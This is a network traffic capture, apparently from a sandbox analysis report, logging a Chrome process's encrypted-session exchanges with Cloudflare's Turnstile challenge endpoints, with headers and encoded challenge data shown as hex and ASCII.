2024-05-23 08:31:08 UTC	638	IN	Data Raw: 61 49 78 6b 64 70 4e 76 63 6e 70 56 63 35 6d 54 67 6c 78 76 68 57 4f 6b 67 33 5a 78 63 70 69 70 71 61 65 70 69 70 6d 6f 6f 34 4b 6c 68 59 6d 59 6c 70 69 77 6b 34 61 66 65 4a 79 7a 66 5a 32 58 74 62 69 62 67 59 52 38 69 4b 71 36 6e 6f 2f 4c 78 38 65 6a 7a 4b 79 76 6b 4a 53 31 70 71 2b 53 74 4d 2b 7a 6c 72 6d 75 31 36 37 45 78 4e 32 2f 74 72 4b 32 72 4c 71 32 74 37 2b 35 38 63 76 41 73 36 6a 30 77 64 65 7a 73 74 6e 4e 74 4c 72 4f 74 2b 2b 35 2f 67 50 33 38 2f 7a 52 34 66 58 6d 33 67 37 34 37 65 58 36 33 2b 54 67 46 75 4d 48 34 65 50 33 2f 65 6e 35 30 66 54 59 39 2f 41 68 46 76 33 31 4a 51 45 68 39 78 76 6a 2f 4f 2f 36 49 75 34 71 4d 6a 62 31 42 77 63 36 4a 44 7a 36 50 54 6e 39 43 30 41 41 2f 51 51 41 2f 66 6b 69 43 53 6b 62 48 78 30 6c 55 54 6f 51 45 43 55 Data Ascii: aIxkdpNvcnpVc5mTglxvhWOkg3Zxcpipqaepipmoo4KlhYmYlpiwk4afeJyzfZ2XtbibgYR8iKq6no/Lx8ejzKyvkJS1pq+StM+zlrmu167ExN2/trK2rLq2t7+58cvAs6j0wdezstnNtLrOt++5/gP38/zR4fXm3g747eX63+TgFuMH4eP3/en50fTY9/AhFv31JQEh9xvj/O/6Iu4qMjb1Bwc6JDz6PTn9C0AA/QQA/fkiCSkbHx0lUToQECU
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 56 73 51 45 46 4a 54 30 68 47 56 48 35 4b 62 33 4e 69 51 30 35 36 59 59 56 55 66 6b 70 33 50 6c 39 61 66 6d 68 2f 58 34 52 4f 58 6d 39 53 5a 5a 43 4d 61 47 2b 62 5a 31 5a 2b 6b 6c 53 42 6a 61 4a 79 6b 6f 4a 33 69 59 52 37 69 6d 56 39 6e 33 75 78 6f 36 53 6b 68 4c 43 49 65 48 71 54 6c 6e 32 63 71 49 32 59 72 70 4f 63 6c 4c 36 48 6e 62 32 6f 76 34 65 70 71 36 6d 4d 79 39 4c 4b 79 4a 4b 6d 76 37 61 30 7a 5a 76 5a 70 5a 79 58 73 70 37 66 73 2b 53 78 32 37 62 67 35 4d 66 44 74 75 53 37 78 76 44 52 37 4f 58 52 38 4d 72 67 37 63 72 6b 37 4f 6e 37 75 2b 6e 4a 2b 74 37 55 76 74 2f 51 33 41 58 61 42 65 50 32 44 51 66 6f 35 41 6b 46 42 64 7a 74 46 77 55 49 36 74 6e 78 43 42 34 48 2f 76 4d 62 32 52 37 63 41 52 66 33 47 76 37 6d 48 68 55 46 4d 43 6f 66 42 67 73 49 35 Data Ascii: VsQEFJT0hGVH5Kb3NiQ056YYVUfkp3Pl9afmh/X4ROXm9SZZCMaG+bZ1Z+klSBjaJykoJ3iYR7imV9n3uxo6SkhLCIeHqTln2cqI2YrpOclL6Hnb2ov4epq6mMy9LKyJKmv7a0zZvZpZyXsp7fs+Sx27bg5MfDtuS7xvDR7OXR8Mrg7crk7On7u+nJ+t7Uvt/Q3AXaBeP2DQfo5AkFBdztFwUI6tnxCB4H/vMb2R7cARf3Gv7mHhUFMCofBgsI5
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 48 62 47 68 6e 66 6c 56 30 64 6f 45 38 65 57 42 65 51 49 6c 68 59 32 64 59 6a 32 4a 66 58 6f 78 7a 59 6c 4b 53 62 33 64 6a 56 6e 6c 79 64 34 6c 76 64 71 4a 56 5a 46 2b 56 66 58 70 6c 70 57 4e 35 59 36 6c 36 6d 34 69 4f 6d 34 4f 4e 6c 6e 65 6d 6c 48 4b 49 6c 49 68 39 69 4a 65 36 65 59 4f 6a 6d 4b 2b 41 77 38 6d 71 75 59 71 2f 78 73 54 49 75 73 7a 41 73 4c 44 58 6c 72 4c 44 74 61 76 57 78 71 33 58 30 62 4b 2b 30 39 71 63 77 65 66 47 74 61 58 4c 70 4f 44 48 30 4b 76 47 72 63 58 71 38 63 37 70 72 74 44 76 30 38 6a 30 37 74 6a 65 33 2b 72 32 31 75 57 39 78 4e 73 43 78 67 6a 31 42 73 67 4c 2b 65 76 51 45 75 66 39 7a 68 62 73 41 39 6b 62 46 68 62 63 47 77 76 72 34 42 2f 34 46 74 34 6d 2b 79 4c 6f 49 67 73 44 41 41 55 4e 43 43 6f 30 43 6a 41 4a 41 7a 6b 4b 49 78 Data Ascii: HbGhnflV0doE8eWBeQIlhY2dYj2JfXoxzYlKSb3djVnlyd4lvdqJVZF+VfXplpWN5Y6l6m4iOm4ONlnemlHKIlIh9iJe6eYOjmK+Aw8mquYq/xsTIuszAsLDXlrLDtavWxq3X0bK+09qcwefGtaXLpODH0KvGrcXq8c7prtDv08j07tje3+r21uW9xNsCxgj1BsgL+evQEuf9zhbsA9kbFhbcGwvr4B/4Ft4m+yLoIgsDAAUNCCo0CjAJAzkKIx
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 58 57 56 63 51 54 6d 49 58 57 74 5a 5a 6e 65 42 58 31 42 63 68 6e 4a 71 64 49 47 4f 55 6f 4e 7a 6b 57 6c 50 55 48 5a 64 6f 6c 39 61 68 47 52 6d 59 71 4e 6a 6c 6d 4e 30 6c 71 79 5a 72 49 69 62 71 6d 36 71 68 59 79 74 70 35 71 55 70 5a 32 4f 64 6e 36 64 74 37 42 39 67 70 6d 35 6d 62 53 30 70 38 65 58 6c 37 2b 36 6f 4b 57 79 76 74 4f 72 76 39 4f 75 30 4d 37 4f 75 70 79 37 79 4e 32 67 6e 35 62 57 76 36 54 55 79 63 53 36 76 74 57 6b 37 71 71 75 78 37 2b 78 78 75 62 32 79 4f 37 36 2b 73 58 70 2f 63 32 36 2f 50 76 35 31 73 2f 6a 2f 64 54 47 35 2f 33 64 2f 65 45 43 38 51 6b 4a 37 67 6a 65 31 66 50 72 41 2b 55 55 46 77 66 74 37 77 33 59 47 4e 37 6b 34 78 58 77 49 51 6a 32 47 2b 63 4c 4a 78 6f 51 49 53 73 67 46 43 38 4b 4f 44 4d 59 39 6a 55 57 43 43 6b 52 43 76 6b Data Ascii: XWVcQTmIXWtZZneBX1BchnJqdIGOUoNzkWlPUHZdol9ahGRmYqNjlmN0lqyZrIibqm6qhYytp5qUpZ2Odn6dt7B9gpm5mbS0p8eXl7+6oKWyvtOrv9Ou0M7Oupy7yN2gn5bWv6TUycS6vtWk7qqux7+xxub2yO76+sXp/c26/Pv51s/j/dTG5/3d/eEC8QkJ7gje1fPrA+UUFwft7w3YGN7k4xXwIQj2G+cLJxoQISsgFC8KODMY9jUWCCkRCvk
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 6d 46 4a 53 6b 6c 72 53 49 6d 4f 6a 46 4b 51 67 46 39 54 65 5a 64 73 6d 34 79 63 6a 46 68 35 57 70 39 56 68 4a 52 30 6d 5a 2b 6e 61 6f 4b 65 6d 61 35 38 65 5a 2b 47 66 34 56 31 70 61 43 57 6a 34 53 71 64 72 4f 4d 64 72 47 77 6d 36 4f 65 67 49 47 64 6b 36 61 56 6f 37 65 36 78 72 7a 41 67 37 7a 42 6f 4e 57 4f 6c 4d 53 77 73 70 4b 78 30 73 75 72 79 39 4b 5a 7a 61 7a 41 31 75 50 62 31 74 6e 6d 36 74 65 33 78 75 37 69 79 4f 6e 7a 31 4e 44 41 73 73 72 57 32 63 2f 4e 74 39 7a 4f 38 4f 50 77 38 4e 62 57 33 65 58 6e 2b 63 76 71 41 75 4c 5a 37 4f 2f 64 35 4f 38 4a 7a 2b 55 43 2b 4e 4c 38 37 39 73 54 49 65 34 59 48 42 41 68 35 51 50 69 47 66 54 2b 41 76 6b 70 4b 50 63 77 41 66 72 78 2f 69 72 77 37 54 67 52 42 77 67 54 38 78 6f 53 39 2f 73 76 4f 78 54 38 52 6a 46 41 Data Ascii: mFJSklrSImOjFKQgF9TeZdsm4ycjFh5Wp9VhJR0mZ+naoKema58eZ+Gf4V1paCWj4SqdrOMdrGwm6OegIGdk6aVo7e6xrzAg7zBoNWOlMSwspKx0sury9KZzazA1uPb1tnm6te3xu7iyOnz1NDAssrW2c/Nt9zO8OPw8NbW3eXn+cvqAuLZ7O/d5O8Jz+UC+NL879sTIe4YHBAh5QPiGfT+AvkpKPcwAfrx/irw7TgRBwgT8xoS9/svOxT8RjFA
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 74 4e 52 4a 52 50 63 34 47 4b 53 6b 75 57 55 56 79 64 62 59 78 58 66 34 31 75 66 49 36 45 70 36 4b 58 69 36 65 58 72 71 5a 2b 72 59 53 6c 63 34 32 48 73 70 65 71 6b 36 6d 35 70 37 65 49 71 72 65 52 76 5a 71 69 6c 35 53 6c 75 71 50 42 73 36 69 58 68 5a 69 5a 7a 71 6e 48 71 36 65 4d 78 38 66 46 77 72 47 57 32 37 33 55 7a 74 57 64 32 39 2b 6b 75 39 43 39 6f 62 2b 72 70 37 76 61 77 74 76 44 72 71 7a 77 36 73 57 30 38 4f 72 52 39 4e 44 54 2b 73 72 66 36 66 50 50 42 74 54 56 42 74 41 46 77 66 37 47 44 74 30 49 37 42 50 67 46 66 7a 54 35 78 48 67 32 64 45 58 2b 50 6b 4d 46 50 34 44 32 75 30 69 38 52 66 33 46 74 73 72 44 50 63 5a 43 77 37 6f 45 2b 72 2b 4b 54 50 30 49 43 50 72 47 78 54 38 50 76 54 33 46 66 4e 43 44 52 55 45 46 41 52 45 47 54 30 56 43 55 30 6b 43 Data Ascii: tNRJRPc4GKSkuWUVydbYxXf41ufI6Ep6KXi6eXrqZ+rYSlc42Hspeqk6m5p7eIqreRvZqil5SluqPBs6iXhZiZzqnHq6eMx8fFwrGW273UztWd29+ku9C9ob+rp7vawtvDrqzw6sW08OrR9NDT+srf6fPPBtTVBtAFwf7GDt0I7BPgFfzT5xHg2dEX+PkMFP4D2u0i8Rf3FtsrDPcZCw7oE+r+KTP0ICPrGxT8PvT3FfNCDRUEFAREGT0VCU0kC
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 51 6c 6d 46 6e 64 31 53 4e 57 6d 79 66 66 46 32 42 6c 70 35 76 65 4b 6d 64 6f 34 69 68 67 35 78 37 65 34 4b 4c 6d 37 47 6f 71 72 69 76 67 59 6d 45 70 5a 47 58 71 35 4b 31 73 62 4e 2f 77 62 47 38 68 5a 61 34 75 5a 6d 65 76 4d 71 77 75 61 6a 47 7a 4c 2f 55 6a 36 37 50 73 71 7a 61 31 64 7a 65 6e 36 79 32 7a 38 54 61 75 4c 6e 68 77 64 4c 6c 70 61 79 70 35 61 62 72 78 4c 2f 79 38 39 50 48 35 72 66 55 74 50 66 6d 74 50 48 63 2f 63 77 42 39 65 50 36 76 66 66 68 35 4e 59 4c 7a 4f 7a 67 2b 2f 73 44 45 74 50 32 37 77 41 57 45 52 45 64 46 66 6e 58 49 52 76 37 33 43 44 6b 2b 41 66 6b 35 43 55 56 41 79 34 63 37 69 55 70 43 4f 34 75 4b 41 73 49 45 43 30 69 45 7a 49 6c 4c 53 77 75 41 50 6a 39 4e 79 51 6d 46 53 63 56 4e 67 6f 6c 54 44 34 39 50 31 41 65 4a 69 49 39 46 6a Data Ascii: QlmFnd1SNWmyffF2Blp5veKmdo4ihg5x7e4KLm7GoqrivgYmEpZGXq5K1sbN/wbG8hZa4uZmevMqwuajGzL/Uj67Psqza1dzen6y2z8TauLnhwdLlpayp5abrxL/y89PH5rfUtPfmtPHc/cwB9eP6vffh5NYLzOzg+/sDEtP27wAWEREdFfnXIRv73CDk+Afk5CUVAy4c7iUpCO4uKAsIEC0iEzIlLSwuAPj9NyQmFScVNgolTD49P1AeJiI9Fj
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 6c 49 31 5a 57 56 6c 78 62 58 57 59 6f 35 74 79 67 6e 36 64 69 57 36 43 6f 6e 71 68 68 61 57 52 72 34 6d 71 68 58 4f 51 6c 72 79 57 6c 49 75 64 67 4a 57 32 72 34 53 31 70 4d 54 44 77 6f 65 2f 79 36 65 69 6f 70 71 4d 6b 6f 36 55 30 74 4b 6e 6b 39 6e 47 74 35 37 5a 74 36 36 68 77 4e 65 64 76 4c 4b 37 79 74 6a 45 74 38 71 38 78 2b 48 63 77 4e 44 51 78 73 58 4e 36 73 6d 77 34 38 66 61 79 4e 67 43 2b 4e 44 62 33 2f 48 56 78 72 72 59 39 39 38 47 78 2b 67 52 2b 77 4d 55 79 66 4c 77 35 68 59 49 38 78 50 37 36 75 58 51 2b 50 72 59 31 50 66 78 38 65 4d 42 42 43 54 6e 41 41 6b 50 2b 77 66 2b 2b 76 34 4e 44 7a 44 7a 44 54 6b 31 4f 68 72 32 4f 52 34 57 49 41 4a 42 45 44 34 50 47 68 73 6a 52 52 6b 67 4b 53 35 4f 4a 52 73 4b 47 30 49 2f 56 43 55 57 52 68 67 61 47 45 34 Data Ascii: lI1ZWVlxbXWYo5tygn6diW6ConqhhaWRr4mqhXOQlryWlIudgJW2r4S1pMTDwoe/y6eiopqMko6U0tKnk9nGt57Zt66hwNedvLK7ytjEt8q8x+HcwNDQxsXN6smw48fayNgC+NDb3/HVxrrY998Gx+gR+wMUyfLw5hYI8xP76uXQ+PrY1Pfx8eMBBCTnAAkP+wf++v4NDzDzDTk1Ohr2OR4WIAJBED4PGhsjRRkgKS5OJRsKG0I/VCUWRhgaGE4
2024-05-23 08:31:08 UTC	1369	IN	Data Raw: 34 53 50 63 57 65 57 6f 58 61 73 64 58 68 71 65 36 79 64 6b 57 79 57 70 5a 53 73 68 71 79 61 6d 59 65 58 74 49 75 68 67 70 61 34 78 4b 54 42 78 4c 71 2b 67 34 75 6f 76 49 71 37 76 73 62 54 6c 4c 2f 4c 6f 35 65 6e 6b 4c 66 50 6c 4e 36 79 75 39 47 39 32 4c 79 2f 33 4e 33 64 77 72 7a 72 31 74 6e 6e 37 65 72 49 75 71 33 77 31 4d 75 78 38 38 4f 33 74 72 7a 32 37 72 6a 38 34 4e 58 52 76 76 48 6e 35 73 44 53 43 2b 66 65 43 2b 4d 51 77 76 72 72 7a 78 44 6b 38 68 6b 46 34 51 72 5a 38 67 66 7a 32 52 77 67 38 42 73 46 45 53 55 62 34 76 76 35 46 69 55 57 49 69 45 79 48 50 33 71 48 2f 55 42 49 53 45 4d 4a 6a 51 4a 45 6a 6f 37 44 6a 45 6a 50 43 4d 38 51 52 78 49 42 42 6f 74 54 69 34 4a 4a 68 74 4d 55 53 6b 4f 4a 79 4d 73 4e 53 6f 56 4e 53 6b 2b 48 55 74 54 48 79 39 53 Data Ascii: 4SPcWeWoXasdXhqe6ydkWyWpZSshqyamYeXtIuhgpa4xKTBxLq+g4uovIq7vsbTlL/Lo5enkLfPlN6yu9G92Ly/3N3dwrzr1tnn7erIuq3w1Mux88O3trz27rj84NXRvvHn5sDSC+feC+MQwvrrzxDk8hkF4QrZ8gfz2Rwg8BsFESUb4vv5FiUWIiEyHP3qH/UBISEMJjQJEjo7DjEjPCM8QRxIBBotTi4JJhtMUSkOJyMsNSoVNSk+HUtTHy9S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49755	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:10 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8883b00e0e9a437b/1716453068102/3013c2b9a2d1102e1154d4cf97949178b82bc8ea8e6aa134fa96c3d64637a66c/Sru2YBd1981juGi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:10 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 23 May 2024 08:31:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-05-23 08:31:10 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4d 42 50 43 75 61 4c 52 45 43 34 52 56 4e 54 50 6c 35 53 52 65 4c 67 72 79 4f 71 4f 61 71 45 30 2d 70 62 44 31 6b 59 33 70 6d 77 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gMBPCuaLREC4RVNTPl5SReLgryOqOaqE0-pbD1kY3pmwAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-05-23 08:31:10 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49757	104.17.3.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:10 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:10 UTC	375	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 08:31:10 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: Vi06HHwQfvLLrUFKobzQ4w==$7h7vKqEuS7BXA3nGJyB+pg== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8883b02a3ac3428e-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:10 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:10 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8883b00e0e9a437b/1716453068102/IU6kT65JcIpG5EF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:11 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8883b02dcea5728a-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 2b 08 02 00 00 00 ed fb df ac 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR+IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49759	104.17.3.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:11 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8883b00e0e9a437b/1716453068102/IU6kT65JcIpG5EF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:11 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:11 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8883b0329d6d43a3-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 2b 08 02 00 00 00 ed fb df ac 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR+IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49763	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:13 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 30493 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: b2c3c6268648b88 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:13 UTC	16384	OUT	Data Raw: 76 5f 38 38 38 33 62 30 30 65 30 65 39 61 34 33 37 62 3d 2d 31 73 75 74 6d 62 30 58 6d 58 56 73 6d 52 57 59 56 73 75 64 49 6f 71 57 66 62 4b 57 78 77 75 34 73 57 79 57 7a 57 59 58 57 52 57 51 6d 57 25 32 62 76 75 2b 24 57 67 75 57 31 2b 6d 57 7a 75 62 63 76 75 62 53 57 59 49 62 55 62 67 57 2b 79 35 57 6f 58 6d 46 4c 30 76 57 47 59 41 57 53 49 62 42 57 59 63 43 30 33 57 64 35 52 36 57 76 76 31 70 43 57 2d 6c 33 52 57 38 75 56 66 57 58 75 62 34 57 37 56 56 62 70 58 57 4f 43 57 57 4f 73 76 2b 44 68 57 62 30 38 30 78 43 6e 54 35 34 57 64 35 61 5a 57 62 52 76 66 73 74 58 75 57 71 6c 50 41 70 38 73 53 34 43 57 6f 52 58 68 43 47 54 57 57 68 63 2d 75 62 2b 50 38 56 67 75 41 71 57 52 42 24 43 73 79 42 6f 53 73 59 67 75 34 5a 35 35 24 34 36 46 66 4f 4b 55 53 35 6c Data Ascii: v_8883b00e0e9a437b=-1sutmb0XmXVsmRWYVsudIoqWfbKWxwu4sWyWzWYXWRWQmW%2bvu+$WguW1+mWzubcvubSWYIbUbgW+y5WoXmFL0vWGYAWSIbBWYcC03Wd5R6Wvv1pCW-l3RW8uVfWXub4W7VVbpXWOCWWOsv+DhWb080xCnT54Wd5aZWbRvfstXuWqlPAp8sS4CWoRXhCGTWWhc-ub+P8VguAqWRB$CsyBoSsYgu4Z55$46FfOKUS5l
2024-05-23 08:31:13 UTC	14109	OUT	Data Raw: 62 74 6e 77 6e 67 5a 6f 31 41 41 24 73 57 70 57 6e 57 61 4a 36 49 6d 73 2b 46 57 62 57 56 4c 74 7a 62 35 57 73 75 6d 31 57 48 57 43 39 55 49 62 69 57 6b 76 34 34 57 44 34 59 76 6d 76 62 61 57 4c 57 59 70 57 44 31 32 76 6d 75 57 4a 57 78 57 34 5a 57 6b 57 76 4a 62 52 57 42 57 32 30 56 4a 57 4f 57 62 4a 62 30 62 46 57 41 53 34 46 75 6c 76 4f 57 6d 58 57 73 57 2d 6e 4a 54 45 49 57 32 6e 68 76 57 76 57 50 76 6f 76 77 56 57 54 53 41 48 30 79 57 32 75 41 52 62 65 57 41 75 41 57 2b 4b 57 38 57 2d 31 62 46 57 49 76 6d 79 75 31 57 6c 57 53 31 57 71 57 44 76 62 76 2b 73 57 37 59 6d 4a 2b 37 57 6d 4a 6d 66 57 75 6f 36 57 2b 35 50 30 75 6b 76 2b 57 62 6f 57 6d 76 62 24 57 35 76 6d 75 6f 42 45 56 57 39 35 63 79 58 36 57 56 75 6d 4e 62 6e 59 6b 33 34 64 75 38 57 4f 34 Data Ascii: btnwngZo1AA$sWpWnWaJ6Ims+FWbWVLtzb5Wsum1WHWC9UIbiWkv44WD4YvmvbaWLWYpWD12vmuWJWxW4ZWkWvJbRWBW20VJWOWbJb0bFWAS4FulvOWmXWsW-nJTEIW2nhvWvWPvovwVWTSAH0yW2uARbeWAuAW+KW8W-1bFWIvmyu1WlWS1WqWDvbv+sW7YmJ+7WmJmfWuo6W+5P0ukv+WboWmvb$W5vmuoBEVW95cyX6WVumNbnYk34du8WO4
2024-05-23 08:31:14 UTC	322	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 22188 Connection: close cf-chl-gen: W7LF7lgyKpixBM4ndUI4U2XT3h/N5PBBfrlqLFp2b4+6Wmem/8GSK5SW+nxyvkwq$5q/ht9x/MxBCsEP1oC/QSw== Server: cloudflare CF-RAY: 8883b0409f7a18ea-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:14 UTC	1047	IN	Data Raw: 61 49 78 6b 64 70 4b 56 6a 49 52 59 69 6f 79 4f 57 6d 79 41 6d 59 39 2b 70 59 64 62 59 47 61 4c 58 36 79 48 67 48 36 77 6f 4b 35 30 69 61 39 32 68 61 36 7a 72 61 6d 4f 6b 48 32 73 6a 37 4b 37 78 73 53 6c 73 37 79 62 6f 5a 69 39 69 63 61 62 70 73 36 71 30 4d 6a 4e 31 38 44 4f 71 70 66 57 73 62 6d 57 79 39 32 2f 76 2b 57 2f 77 64 62 49 77 4d 61 34 76 63 54 76 34 61 76 66 35 61 76 73 77 65 57 31 39 73 66 54 32 2b 58 32 36 4d 7a 70 36 74 76 61 77 38 33 79 42 74 45 48 2b 2f 63 42 7a 64 66 6e 34 39 7a 49 34 77 62 66 42 51 4c 71 35 41 72 37 39 4f 34 50 44 64 6e 74 2b 2f 76 38 39 68 62 7a 48 76 59 62 43 41 76 36 37 67 77 77 4b 43 41 71 48 67 59 41 4c 68 59 48 4b 66 6f 61 43 53 38 63 39 6a 4d 59 44 78 34 76 50 54 6c 49 51 7a 77 4a 46 68 34 6d 54 30 34 71 44 6c 41 Data Ascii: aIxkdpKVjIRYioyOWmyAmY9+pYdbYGaLX6yHgH6woK50ia92ha6zramOkH2sj7K7xsSls7yboZi9icabps6q0MjN18DOqpfWsbmWy92/v+W/wdbIwMa4vcTv4avf5avsweW19sfT2+X26Mzp6tvaw83yBtEH+/cBzdfn49zI4wbfBQLq5Ar79O4PDdnt+/v89hbzHvYbCAv67gwwKCAqHgYALhYHKfoaCS8c9jMYDx4vPTlIQzwJFh4mT04qDlA
